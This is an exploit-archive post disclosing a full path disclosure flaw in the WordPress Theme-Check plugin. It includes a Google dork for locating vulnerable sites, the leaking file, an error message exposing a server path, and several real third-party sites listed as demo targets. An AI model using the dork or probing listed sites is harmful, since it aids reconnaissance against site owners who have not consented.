Wordpress Theme-Check Plugin Full Path Disclosure Vulnerability

2014-01-17 20:52:00
Posted by: JoKeR_StEx

###################################################################################

# Exploit Title : Wordpress Theme-Check Plugin Full Path Disclosure Vulnerability
# Author : JoKeR_StEx
# Version : All Version
# Vendor : http://wordpress.org/
# Date : 17.01.2014
# Tested On : Windows XP Pro Sp3
# Google Dork : inurl:"/wp-content/plugins/theme-check/"

###################################################################################

[+] The Vulnerability It's In All Version Of The Plugins

[+] Infected File => Checkbase.php

[+] The Error In The Fucntion do_action() on line 26

[-] Example Error : Fatal error: Call to undefined function do_action() in /home/jkircher/public_html/wordpress/wp-content/plugins/theme-check/checkbase.php on line 26

## D3mo ##
http://www.generationy20.com/wp-content/plugins/theme-check/checkbase.php
http://drunkcyclist.com/wordpress/wp-content/plugins/theme-check/checkbase.php
http://artouchbase.fr/wp-content/plugins/theme-check/checkbase.phphttp://priestretreat.com/wp-content/plugins/theme-check/checkbase.php
#####################################################################################
Gr33t'z : Asesino04 , Shield Dz , Dr.0ryx & all Algerians
#####################################################################################

Fixes

No fixes

In order to submit a new fix you need to be registered.